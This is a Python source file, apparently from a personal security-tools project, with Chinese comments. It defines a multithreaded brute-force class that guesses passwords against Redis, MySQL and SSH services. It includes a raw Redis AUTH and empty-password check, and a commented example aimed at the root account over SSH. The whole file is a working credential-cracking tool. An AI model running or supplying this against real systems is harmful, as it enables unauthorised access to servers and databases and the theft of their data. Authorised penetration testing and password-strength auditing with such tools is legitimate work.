#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""  
@Project : tools-for-internet-security
@File : blast_tools.py
@Author : Misha
@Time : 2025/5/16 13:41  
@脚本说明 : 爆破工具类
"""
from concurrent.futures import ThreadPoolExecutor
import socket
import time
from typing import Literal
import paramiko
from paramiko.ssh_exception import AuthenticationException, SSHException
import pymysql


class BlastTools:
    __success_flag = False
    __stop_flag = False

    def __init__(self, method: Literal["redis", "mysql", "ssh"],
                 host, port, username, password_list: list,
                 max_threads=16, sleep=0.1):
        self.method = method
        self.host = host
        self.port = port
        self.username = username
        self.password_list = password_list
        self.max_threads = max_threads
        self.sleep = sleep

    def redis_connect(self, password):
        try:
            redis_tcp = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
            redis_tcp.connect((self.host, self.port))
            if password:
                # 有密码登录
                print(f"测试密码 {password}")
                auth_request = f"*2\r\n$4\r\nauth\r\n${len(password)}\r\n{password}\r\n"
                redis_tcp.send(auth_request.encode())
                auth_response = redis_tcp.recv(1024).decode()
                if "+OK" in auth_response:
                    print(f"[+] 爆破成功！Redis密码为 {password}")
                    self.__success_flag = True
                    return
            else:
                print("测试空密码")
                test_request = f"*3\r\n$3\r\nset\r\n$1\r\na\r\n$1\r\nb\r\n"
                redis_tcp.send(test_request.encode())
                test_response = redis_tcp.recv(1024).decode()
                if "+OK" in test_response:
                    print("[+] 爆破成功！Redis密码为空！")
                    self.__success_flag = True
                    return
        except Exception as e:
            print(f"连接失败: {type(e)}:{e}")

    def mysql_connect(self, password):
        try:
            print(f"测试密码 {password}")
            pymysql.connect(
                host=self.host,
                port=self.port,
                user=self.username,
                password=password,
                database="information_schema",
                autocommit=True,
                connect_timeout=3,
            )
        except pymysql.err.InternalError:
            print("指定数据库不存在")
            self.__stop_flag = True
            return
        except pymysql.err.OperationalError:
            return
        except RuntimeError:
            return
        except Exception as e:
            print(f"错误{type(e)}:{e}")
            return
        else:
            print(f"[+] 爆破成功！账号 {self.username}, 密码 {password}")
            self.__success_flag = True

    def ssh_connect(self, password):
        if self.__success_flag:
            return
        with paramiko.SSHClient() as client:
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            try:
                print(f"测试密码 {password}")
                client.connect(hostname=self.host,
                               port=self.port,
                               username=self.username,
                               password=password,
                               timeout=3)
                print(f"[+] SSH爆破成功！账号 {self.username}, 密码 {password}")
                self.__success_flag = True
                return
            except AuthenticationException:
                return
            except (SSHException, socket.timeout, socket.error):
                return
            except Exception as e:
                print(f"错误{type(e)}:{e}")
                return

    def blast(self, function):
        with ThreadPoolExecutor(max_workers=self.max_threads) as executor:
            for passwd in self.password_list:
                if self.__success_flag:
                    break
                if self.__stop_flag:
                    break
                else:
                    time.sleep(self.sleep)
                    passwd = passwd.strip()
                    executor.submit(function, password=passwd)

    def run(self):
        print(f"开始爆破{self.method}...")
        if self.method == "redis":
            self.blast(self.redis_connect)
        elif self.method == "mysql":
            self.blast(self.mysql_connect)
        elif self.method == "ssh":
            self.blast(self.ssh_connect)
        if not self.__success_flag:
            print("爆破失败！")


if __name__ == '__main__':
    pass
    # BlastTools(method="ssh",
    #            host="172.17.15.149",
    #            port=22,
    #            username="root",
    #            password_list=passwd_list,
    #            max_threads=8,
    #            sleep=0.1).run()
